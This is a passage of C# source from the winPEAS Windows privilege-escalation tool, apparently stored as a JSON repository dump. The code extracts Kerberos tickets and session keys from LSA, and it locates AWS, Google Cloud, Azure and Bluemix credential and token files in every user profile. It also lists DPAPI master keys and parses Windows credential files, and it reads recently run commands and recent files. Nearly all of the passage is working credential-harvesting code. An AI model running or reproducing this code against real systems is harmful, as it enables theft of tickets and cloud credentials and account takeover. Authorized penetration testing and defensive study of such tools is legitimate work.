Console.WriteLine(\"  LogonServer              : {0}\", logonServer);\n                            Console.WriteLine(\"  LogonServerDNSDomain     : {0}\", dnsDomainName);\n                            Console.WriteLine(\"  UserPrincipalName        : {0}\", upn);*/\n\n                            // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure\n                            response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE));\n\n                            KERB_EXTERNAL_NAME serviceNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME));\n                            string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim();\n\n                            string targetName = \"\";\n                            if (response.Ticket.TargetName != IntPtr.Zero)\n                            {\n                                KERB_EXTERNAL_NAME targetNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME));\n                                targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim();\n                            }\n\n                            KERB_EXTERNAL_NAME clientNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME));\n                            string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim();\n\n                            string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();\n                            string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();\n                            string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim();\n\n                            // extract the session key\n                            KERB_ENCRYPTION_TYPE sessionKeyType = (KERB_ENCRYPTION_TYPE)response.Ticket.SessionKey.KeyType;\n                            Int32 sessionKeyLength = response.Ticket.SessionKey.Length;\n                            byte[] sessionKey = new byte[sessionKeyLength];\n                            Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength);\n                            string base64SessionKey = Convert.ToBase64String(sessionKey);\n\n                            DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime);\n                            DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime);\n                            DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime);\n                            DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil);\n                            Int64 timeSkew = response.Ticket.TimeSkew;\n                            Int32 encodedTicketSize = response.Ticket.EncodedTicketSize;\n\n                            string ticketFlags = ((KERB_TICKET_FLAGS)response.Ticket.TicketFlags).ToString();\n\n                            // extract the TGT and base64 encode it\n                            byte[] encodedTicket = new byte[encodedTicketSize];\n                            Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);\n                            string base64TGT = Convert.ToBase64String(encodedTicket);\n\n                            results.Add(new Dictionary<string, string>()\n                            {\n                                { \"UserPrincipalName\", upn },\n                                { \"ServiceName\", serviceName },\n                                { \"TargetName\", targetName },\n                                { \"ClientName\", clientName },\n                                { \"DomainName\", domainName },\n                                { \"TargetDomainName\", targetDomainName },\n                                { \"SessionKeyType\", string.Format(\"{0}\", sessionKeyType) },\n                                { \"Base64SessionKey\", base64SessionKey },\n                                { \"KeyExpirationTime\", string.Format(\"{0}\", keyExpirationTime) },\n                                { \"TicketFlags\", ticketFlags },\n                                { \"StartTime\", string.Format(\"{0}\", startTime) },\n                                { \"EndTime\", string.Format(\"{0}\", endTime) },\n                                { \"RenewUntil\", string.Format(\"{0}\", renewUntil) },\n                                { \"TimeSkew\", string.Format(\"{0}\", timeSkew) },\n                                { \"EncodedTicketSize\", string.Format(\"{0}\", encodedTicketSize) },\n                                { \"Base64EncodedTicket\", base64TGT },\n                            });\n                            totalTicketCount++;\n                        }\n                    }\n                    luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID)));\n                    //move the pointer forward\n                    Secur32.LsaFreeReturnBuffer(sessionData);\n                    //free the SECURITY_LOGON_SESSION_DATA memory in the struct\n                }\n                Secur32.LsaFreeReturnBuffer(luidPtr);       //free the array of LUIDs\n\n                // disconnect from LSA\n                Secur32.LsaDeregisterLogonProcess(hLsa);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n        public static List<Dictionary<string, string>> ListKerberosTGTDataCurrentUser()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // adapted partially from Vincent LE TOUX' work\n            //      https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950\n            // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/\n            // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1\n\n            try\n            {\n                string name = \"kerberos\";\n                LSA_STRING_IN LSAString;\n                LSAString.Length = (ushort)name.Length;\n                LSAString.MaximumLength = (ushort)(name.Length + 1);\n                LSAString.Buffer = name;\n\n                IntPtr responsePointer = IntPtr.Zero;\n                int authPack;\n                int returnBufferLength = 0;\n                int protocalStatus = 0;\n                IntPtr lsaHandle;\n                int retCode;\n\n                // If we want to look at tickets from a session other than our own\n                // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted\n                retCode = Secur32.LsaConnectUntrusted(out lsaHandle);\n\n                KERB_RETRIEVE_TKT_REQUEST tQuery = new KERB_RETRIEVE_TKT_REQUEST();\n                KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE();\n\n                // obtains the unique identifier for the kerberos authentication package.\n                retCode = Secur32.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);\n\n                // input object for querying the TGT (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request)\n                tQuery.LogonId = new LUID();\n                tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage;\n                // indicate we want kerb creds yo'\n                //tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED;\n\n                // query LSA, specifying we want the the TGT data\n                retCode = Secur32.LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus);\n\n                // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure\n                response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE));\n\n                KERB_EXTERNAL_NAME serviceNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME));\n                string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim();\n\n                string targetName = \"\";\n                if (response.Ticket.TargetName != IntPtr.Zero)\n                {\n                    KERB_EXTERNAL_NAME targetNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME));\n                    targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim();\n                }\n\n                KERB_EXTERNAL_NAME clientNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME));\n                string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim();\n\n                string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();\n                string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();\n                string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim();\n\n                // extract the session key\n                KERB_ENCRYPTION_TYPE sessionKeyType = (KERB_ENCRYPTION_TYPE)response.Ticket.SessionKey.KeyType;\n                Int32 sessionKeyLength = response.Ticket.SessionKey.Length;\n                byte[] sessionKey = new byte[sessionKeyLength];\n                Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength);\n                string base64SessionKey = Convert.ToBase64String(sessionKey);\n\n                DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime);\n                DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime);\n                DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime);\n                DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil);\n                Int64 timeSkew = response.Ticket.TimeSkew;\n                Int32 encodedTicketSize = response.Ticket.EncodedTicketSize;\n\n                string ticketFlags = ((KERB_TICKET_FLAGS)response.Ticket.TicketFlags).ToString();\n\n                // extract the TGT and base64 encode it\n                byte[] encodedTicket = new byte[encodedTicketSize];\n                Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);\n                string base64TGT = Convert.ToBase64String(encodedTicket);\n\n                results.Add(new Dictionary<string, string>()\n                {\n                    { \"ServiceName\", serviceName },\n                    { \"TargetName\", targetName },\n                    { \"ClientName\", clientName },\n                    { \"DomainName\", domainName },\n                    { \"TargetDomainName\", targetDomainName },\n                    { \"SessionKeyType\", string.Format(\"{0}\", sessionKeyType) },\n                    { \"Base64SessionKey\", base64SessionKey },\n                    { \"KeyExpirationTime\", string.Format(\"{0}\", keyExpirationTime) },\n                    { \"TicketFlags\", ticketFlags },\n                    { \"StartTime\", string.Format(\"{0}\", startTime) },\n                    { \"EndTime\", string.Format(\"{0}\", endTime) },\n                    { \"RenewUntil\", string.Format(\"{0}\", renewUntil) },\n                    { \"TimeSkew\", string.Format(\"{0}\", timeSkew) },\n                    { \"EncodedTicketSize\", string.Format(\"{0}\", encodedTicketSize) },\n                    { \"Base64EncodedTicket\", base64TGT },\n                });\n\n                // disconnect from LSA\n                Secur32.LsaDeregisterLogonProcess(lsaHandle);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Kerberos/Structs.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.KnownFileCreds.Kerberos\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct KERB_QUERY_TKT_CACHE_REQUEST\n    {\n        public KERB_PROTOCOL_MESSAGE_TYPE MessageType;\n        public LUID LogonId;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct LUID\n    {\n        public uint LowPart;\n        public int HighPart;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct LSA_STRING_IN\n    {\n        public UInt16 Length;\n        public UInt16 MaximumLength;\n        public string Buffer;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct LSA_STRING_OUT\n    {\n        public UInt16 Length;\n        public UInt16 MaximumLength;\n        public IntPtr Buffer;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct SECURITY_LOGON_SESSION_DATA\n    {\n        public UInt32 Size;\n        public LUID LoginID;\n        public LSA_STRING_OUT Username;\n        public LSA_STRING_OUT LoginDomain;\n        public LSA_STRING_OUT AuthenticationPackage;\n        public UInt32 LogonType;\n        public UInt32 Session;\n        public IntPtr PSiD;\n        public UInt64 LoginTime;\n        public LSA_STRING_OUT LogonServer;\n        public LSA_STRING_OUT DnsDomainName;\n        public LSA_STRING_OUT Upn;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct KERB_QUERY_TKT_CACHE_RESPONSE\n    {\n        public KERB_PROTOCOL_MESSAGE_TYPE MessageType;\n        public int CountOfTickets;\n        // public KERB_TICKET_CACHE_INFO[] Tickets;\n        public IntPtr Tickets;\n    }\n    [StructLayout(LayoutKind.Sequential)]\n    public struct KERB_TICKET_CACHE_INFO\n    {\n        public LSA_STRING_OUT ServerName;\n        public LSA_STRING_OUT RealmName;\n        public Int64 StartTime;\n        public Int64 EndTime;\n        public Int64 RenewTime;\n        public Int32 EncryptionType;\n        public UInt32 TicketFlags;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct KERB_RETRIEVE_TKT_RESPONSE\n    {\n        public KERB_EXTERNAL_TICKET Ticket;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct KERB_CRYPTO_KEY\n    {\n        public Int32 KeyType;\n        public Int32 Length;\n        public IntPtr Value;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct KERB_EXTERNAL_TICKET\n    {\n        public IntPtr ServiceName;\n        public IntPtr TargetName;\n        public IntPtr ClientName;\n        public LSA_STRING_OUT DomainName;\n        public LSA_STRING_OUT TargetDomainName;\n        public LSA_STRING_OUT AltTargetDomainName;\n        public KERB_CRYPTO_KEY SessionKey;\n        public UInt32 TicketFlags;\n        public UInt32 Flags;\n        public Int64 KeyExpirationTime;\n        public Int64 StartTime;\n        public Int64 EndTime;\n        public Int64 RenewUntil;\n        public Int64 TimeSkew;\n        public Int32 EncodedTicketSize;\n        public IntPtr EncodedTicket;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct KERB_RETRIEVE_TKT_REQUEST\n    {\n        public KERB_PROTOCOL_MESSAGE_TYPE MessageType;\n        public LUID LogonId;\n        public LSA_STRING_IN TargetName;\n        public UInt64 TicketFlags;\n        public KERB_CACHE_OPTIONS CacheOptions;\n        public Int64 EncryptionType;\n        public SECURITY_HANDLE CredentialsHandle;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct SECURITY_HANDLE\n    {\n        public IntPtr LowPart;\n        public IntPtr HighPart;\n        public SECURITY_HANDLE(int dummy)\n        {\n            LowPart = HighPart = IntPtr.Zero;\n        }\n    };\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct KERB_EXTERNAL_NAME\n    {\n        public Int16 NameType;\n        public UInt16 NameCount;\n        public LSA_STRING_OUT Names;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/KnownFileCredsInfo.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.KnownFileCreds\n{\n    static class KnownFileCredsInfo\n    {\n        public static Dictionary<string, object> GetRecentRunCommands()\n        {\n            Dictionary<string, object> results = new Dictionary<string, object>();\n            // lists recently run commands via the RunMRU registry key\n            if (MyUtils.IsHighIntegrity())\n            {\n                string[] SIDs = Registry.Users.GetSubKeyNames();\n                foreach (string SID in SIDs)\n                {\n                    if (SID.StartsWith(\"S-1-5\") && !SID.EndsWith(\"_Classes\"))\n                    {\n                        results = RegistryHelper.GetRegValues(\"HKU\", string.Format(\"{0}\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RunMRU\", SID));\n                    }\n                }\n            }\n            else\n            {\n                results = RegistryHelper.GetRegValues(\"HKCU\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RunMRU\");\n            }\n            return results;\n        }\n\n        public static List<Dictionary<string, string>> ListCloudCreds()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // checks for various cloud credential files (AWS, Microsoft Azure, and Google Compute)\n            // adapted from https://twitter.com/cmaddalena's SharpCloud project (https://github.com/chrismaddalena/SharpCloud/)\n            try\n            {\n                var cloudCredsDict = new Dictionary<string, string>\n                {\n                    // AWS\n                    { \".aws\\\\credentials\", \"AWS keys file\" },\n\n                    // Google Cloud\n                    { \"AppData\\\\Roaming\\\\gcloud\\\\credentials.db\", \"GC Compute creds\" },\n                    { \"AppData\\\\Roaming\\\\gcloud\\\\legacy_credentials\", \"GC Compute creds legacy\" },\n                    { \"AppData\\\\Roaming\\\\gcloud\\\\access_tokens.db\", \"GC Compute tokens\" },\n\n                    // Azure\n                    { \".azure\\\\accessTokens.json\", \"Azure tokens\" },\n                    { \".azure\\\\azureProfile.json\", \"Azure profile\" },\n                    { \".azure\\\\TokenCache.dat\", \"Azure Token Cache\" },\n                    { \".azure\\\\AzureRMContext.json\", \"Azure RM Context\" },\n                    { \"AppData\\\\Roaming\\\\Windows Azure Powershell\\\\TokenCache.dat\", \"Azure PowerShell Token Cache\" },\n                    { \"AppData\\\\Roaming\\\\Windows Azure Powershell\\\\AzureRMContext.json\", \"Azure PowerShell RM Context\" },\n\n                    // Bluemix\n                    { \".bluemix\\\\config.json\", \"Bluemix Config\" },\n                    { \".bluemix\\\\.cf\\\\config.json\", \"Bluemix Alternate Config\" },\n                };\n\n                IEnumerable<string> userDirs;\n\n                if (MyUtils.IsHighIntegrity())\n                {\n                    string userFolders = $\"{Environment.GetEnvironmentVariable(\"SystemDrive\")}\\\\Users\\\\\";\n                    userDirs = Directory.EnumerateDirectories(userFolders);\n                }\n                else\n                {\n                    var currentUserDir = Environment.GetEnvironmentVariable(\"USERPROFILE\");\n                    userDirs = new List<string> { currentUserDir };\n                }\n\n                foreach (var userDir in userDirs)\n                {\n                    foreach (var item in cloudCredsDict)\n                    {\n                        var file = item.Key;\n                        var description = item.Value;\n\n                        var fullFilePath = Path.Combine(userDir, file);\n\n                        AddCloudCredentialFromFile(fullFilePath, description, results);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        private static void AddCloudCredentialFromFile(string filePath, string description, ICollection<Dictionary<string, string>> results)\n        {\n            if (File.Exists(filePath))\n            {\n                DateTime lastAccessed = File.GetLastAccessTime(filePath);\n                DateTime lastModified = File.GetLastWriteTime(filePath);\n                long size = new FileInfo(filePath).Length;\n\n                results?.Add(new Dictionary<string, string>\n                {\n                    { \"file\", filePath },\n                    { \"Description\", description },\n                    { \"Accessed\", $\"{lastAccessed}\"},\n                    { \"Modified\", $\"{lastModified}\"},\n                    { \"Size\", $\"{size}\"}\n                });\n            }\n        }\n\n        public static List<Dictionary<string, string>> GetRecentFiles()\n        {\n            // parses recent file shortcuts via COM\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            int lastDays = 7;\n            DateTime startTime = DateTime.Now.AddDays(-lastDays);\n\n            try\n            {\n                // WshShell COM object GUID \n                Type shell = Type.GetTypeFromCLSID(new Guid(\"F935DC22-1CF0-11d0-ADB9-00C04FD58A0B\"));\n                Object shellObj = Activator.CreateInstance(shell);\n\n                if (MyUtils.IsHighIntegrity())\n                {\n                    string userFolder = string.Format(\"{0}\\\\Users\\\\\", Environment.GetEnvironmentVariable(\"SystemDrive\"));\n                    var dirs = Directory.EnumerateDirectories(userFolder);\n                    foreach (string dir in dirs)\n                    {\n                        string[] parts = dir.Split('\\\\');\n                        string userName = parts[parts.Length - 1];\n\n                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n                        {\n                            string recentPath = string.Format(\"{0}\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\\", dir);\n                            try\n                            {\n                                if (Directory.Exists(recentPath))\n                                {\n                                    string[] recentFiles = Directory.EnumerateFiles(recentPath, \"*.lnk\", SearchOption.AllDirectories).ToArray();\n\n                                    if (recentFiles.Length != 0)\n                                    {\n                                        Console.WriteLine(\"   {0} :\\r\\n\", userName);\n                                        foreach (string recentFile in recentFiles)\n                                        {\n                                            DateTime lastAccessed = File.GetLastAccessTime(recentFile);\n\n                                            if (lastAccessed > startTime)\n                                            {\n                                                // invoke the WshShell com object, creating a shortcut to then extract the TargetPath from\n                                                Object shortcut = shellObj.GetType().InvokeMember(\"CreateShortcut\", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });\n                                                Object TargetPath = shortcut.GetType().InvokeMember(\"TargetPath\", BindingFlags.GetProperty, null, shortcut, new object[] { });\n\n                                                if (TargetPath.ToString().Trim() != \"\")\n                                                {\n                                                    results.Add(new Dictionary<string, string>()\n                                                {\n                                                    { \"Target\", TargetPath.ToString() },\n                                                    { \"Accessed\", string.Format(\"{0}\", lastAccessed) }\n                                                });\n                                                }\n                                                Marshal.ReleaseComObject(shortcut);\n                                                shortcut = null;\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                            catch { }\n                        }\n                    }\n                }\n                else\n                {\n                    string recentPath = string.Format(\"{0}\\\\Microsoft\\\\Windows\\\\Recent\\\\\", Environment.GetEnvironmentVariable(\"APPDATA\"));\n                    if (Directory.Exists(recentPath))\n                    {\n                        var recentFiles = Directory.EnumerateFiles(recentPath, \"*.lnk\", SearchOption.AllDirectories);\n\n                        foreach (string recentFile in recentFiles)\n                        {\n                            // old method (needed interop dll)\n                            //WshShell shell = new WshShell();\n                            //IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);\n\n                            DateTime lastAccessed = File.GetLastAccessTime(recentFile);\n\n                            if (lastAccessed > startTime)\n                            {\n                                // invoke the WshShell com object, creating a shortcut to then extract the TargetPath from\n                                Object shortcut = shellObj.GetType().InvokeMember(\"CreateShortcut\", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });\n                                Object TargetPath = shortcut.GetType().InvokeMember(\"TargetPath\", BindingFlags.GetProperty, null, shortcut, new object[] { });\n                                if (TargetPath.ToString().Trim() != \"\")\n                                {\n                                    results.Add(new Dictionary<string, string>()\n                                {\n                                    { \"Target\", TargetPath.ToString() },\n                                    { \"Accessed\", string.Format(\"{0}\", lastAccessed) }\n                                });\n                                }\n                                Marshal.ReleaseComObject(shortcut);\n                                shortcut = null;\n                            }\n                        }\n                    }\n                }\n                // release the WshShell COM object\n                Marshal.ReleaseComObject(shellObj);\n                shellObj = null;\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"  [X] Exception: {0}\", ex));\n            }\n            return results;\n        }\n\n        public static List<Dictionary<string, string>> ListMasterKeys()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // lists any found DPAPI master keys\n            try\n            {\n                if (MyUtils.IsHighIntegrity())\n                {\n                    string userFolder = string.Format(\"{0}\\\\Users\\\\\", Environment.GetEnvironmentVariable(\"SystemDrive\"));\n                    var dirs = Directory.EnumerateDirectories(userFolder);\n                    foreach (string dir in dirs)\n                    {\n                        string[] parts = dir.Split('\\\\');\n                        string userName = parts[parts.Length - 1];\n                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n                        {\n                            List<string> userDPAPIBasePaths = new List<string>\n                            {\n                                string.Format(\"{0}\\\\AppData\\\\Roaming\\\\Microsoft\\\\Protect\\\\\", Environment.GetEnvironmentVariable(\"USERPROFILE\")),\n                                string.Format(\"{0}\\\\AppData\\\\Local\\\\Microsoft\\\\Protect\\\\\", Environment.GetEnvironmentVariable(\"USERPROFILE\"))\n                            };\n\n                            foreach (string userDPAPIBasePath in userDPAPIBasePaths)\n                            {\n                                if (Directory.Exists(userDPAPIBasePath))\n                                {\n                                    var directories = Directory.EnumerateDirectories(userDPAPIBasePath);\n                                    foreach (string directory in directories)\n                                    {\n                                        var files = Directory.EnumerateFiles(directory);\n\n                                        foreach (string file in files)\n                                        {\n                                            if (Regex.IsMatch(file, @\"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}\"))\n                                            {\n                                                DateTime lastAccessed = File.GetLastAccessTime(file);\n                                                DateTime lastModified = File.GetLastWriteTime(file);\n                                                string fileName = Path.GetFileName(file);\n                                                results.Add(new Dictionary<string, string>()\n                                                {\n                                                    { \"MasterKey\", file },\n                                                    { \"Accessed\", string.Format(\"{0}\", lastAccessed) },\n                                                    { \"Modified\", string.Format(\"{0}\", lastModified) },\n                                                });\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n                else\n                {\n                    string userName = Environment.GetEnvironmentVariable(\"USERNAME\");\n                    List<string> userDPAPIBasePaths = new List<string>\n                    {\n                        string.Format(\"{0}\\\\AppData\\\\Roaming\\\\Microsoft\\\\Protect\\\\\", Environment.GetEnvironmentVariable(\"USERPROFILE\")),\n                        string.Format(\"{0}\\\\AppData\\\\Local\\\\Microsoft\\\\Protect\\\\\", Environment.GetEnvironmentVariable(\"USERPROFILE\"))\n                    };\n\n                    foreach (string userDPAPIBasePath in userDPAPIBasePaths)\n                    {\n                        if (Directory.Exists(userDPAPIBasePath))\n                        {\n                            var directories = Directory.EnumerateDirectories(userDPAPIBasePath);\n                            foreach (string directory in directories)\n                            {\n                                var files = Directory.EnumerateFiles(directory);\n\n                                foreach (string file in files)\n                                {\n                                    if (Regex.IsMatch(file, @\"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}\"))\n                                    {\n                                        DateTime lastAccessed = File.GetLastAccessTime(file);\n                                        DateTime lastModified = File.GetLastWriteTime(file);\n                                        string fileName = Path.GetFileName(file);\n                                        results.Add(new Dictionary<string, string>()\n                                    {\n                                        { \"MasterKey\", file },\n                                        { \"Accessed\", string.Format(\"{0}\", lastAccessed) },\n                                        { \"Modified\", string.Format(\"{0}\", lastModified) },\n                                    });\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        public static List<Dictionary<string, string>> GetCredFiles()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // lists any found files in Local\\Microsoft\\Credentials\\*\n            try\n            {\n                if (MyUtils.IsHighIntegrity())\n                {\n                    string userFolder = string.Format(\"{0}\\\\Users\\\\\", Environment.GetEnvironmentVariable(\"SystemDrive\"));\n                    var dirs = Directory.EnumerateDirectories(userFolder);\n\n                    foreach (string dir in dirs)\n                    {\n                        string[] parts = dir.Split('\\\\');\n                        string userName = parts[parts.Length - 1];\n                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n                        {\n                            List<string> userCredFilePaths = new List<string>\n                            {\n                                string.Format(\"{0}\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\\\\\", dir),\n                                string.Format(\"{0}\\\\AppData\\\\Roaming\\\\Microsoft\\\\Credentials\\\\\", dir)\n                            };\n\n                            foreach (string userCredFilePath in userCredFilePaths)\n                            {\n                                if (Directory.Exists(userCredFilePath))\n                                {\n                                    var systemFiles = Directory.EnumerateFiles(userCredFilePath);\n                                    if ((systemFiles != null))\n                                    {\n                                        foreach (string file in systemFiles)\n                                        {\n                                            DateTime lastAccessed = File.GetLastAccessTime(file);\n                                            DateTime lastModified = File.GetLastWriteTime(file);\n                                            long size = new FileInfo(file).Length;\n                                            string fileName = Path.GetFileName(file);\n\n                                            // jankily parse the bytes to extract the credential type and master key GUID\n                                            // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54\n                                            byte[] credentialArray = File.ReadAllBytes(file);\n                                            byte[] guidMasterKeyArray = new byte[16];\n                                            Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16);\n                                            Guid guidMasterKey = new Guid(guidMasterKeyArray);\n\n                                            byte[] stringLenArray = new byte[16];\n                                            Array.Copy(credentialArray, 56, stringLenArray, 0, 4);\n                                            int descLen = BitConverter.ToInt32(stringLenArray, 0);\n\n                                            byte[] descBytes = new byte[descLen];\n                                            Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4);\n\n                                            string desc = Encoding.Unicode.GetString(descBytes);\n                                            results.Add(new Dictionary<string, string>()\n                                            {\n                                                { \"CredFile\", file },\n                                                { \"Description\", desc },\n                                                { \"MasterKey\", string.Format(\"{0}\", guidMasterKey) },\n                                                { \"Accessed\", string.Format(\"{0}\", lastAccessed) },\n                                                { \"Modified\", string.Format(\"{0}\", lastModified) },\n                                                { \"Size\", string.Format(\"{0}\", size) },\n                                            });\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n\n                    string systemFolder = string.Format(\"{0}\\\\System32\\\\config\\\\systemprofile\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\", Environment.GetEnvironmentVariable(\"SystemRoot\"));\n                    if (Directory.Exists(systemFolder))\n                    {\n                        var files = Directory.EnumerateFiles(systemFolder);\n                        if ((files != null))\n                        {\n                            foreach (string file in files)\n                            {\n                                DateTime lastAccessed = File.GetLastAccessTime(file);\n                                DateTime lastModified = File.GetLastWriteTime(file);\n                                long size = new System.IO.FileInfo(file).Length;\n                                string fileName = Path.GetFileName(file);\n\n                                // jankily parse the bytes to extract the credential type and master key GUID\n                                // reference- 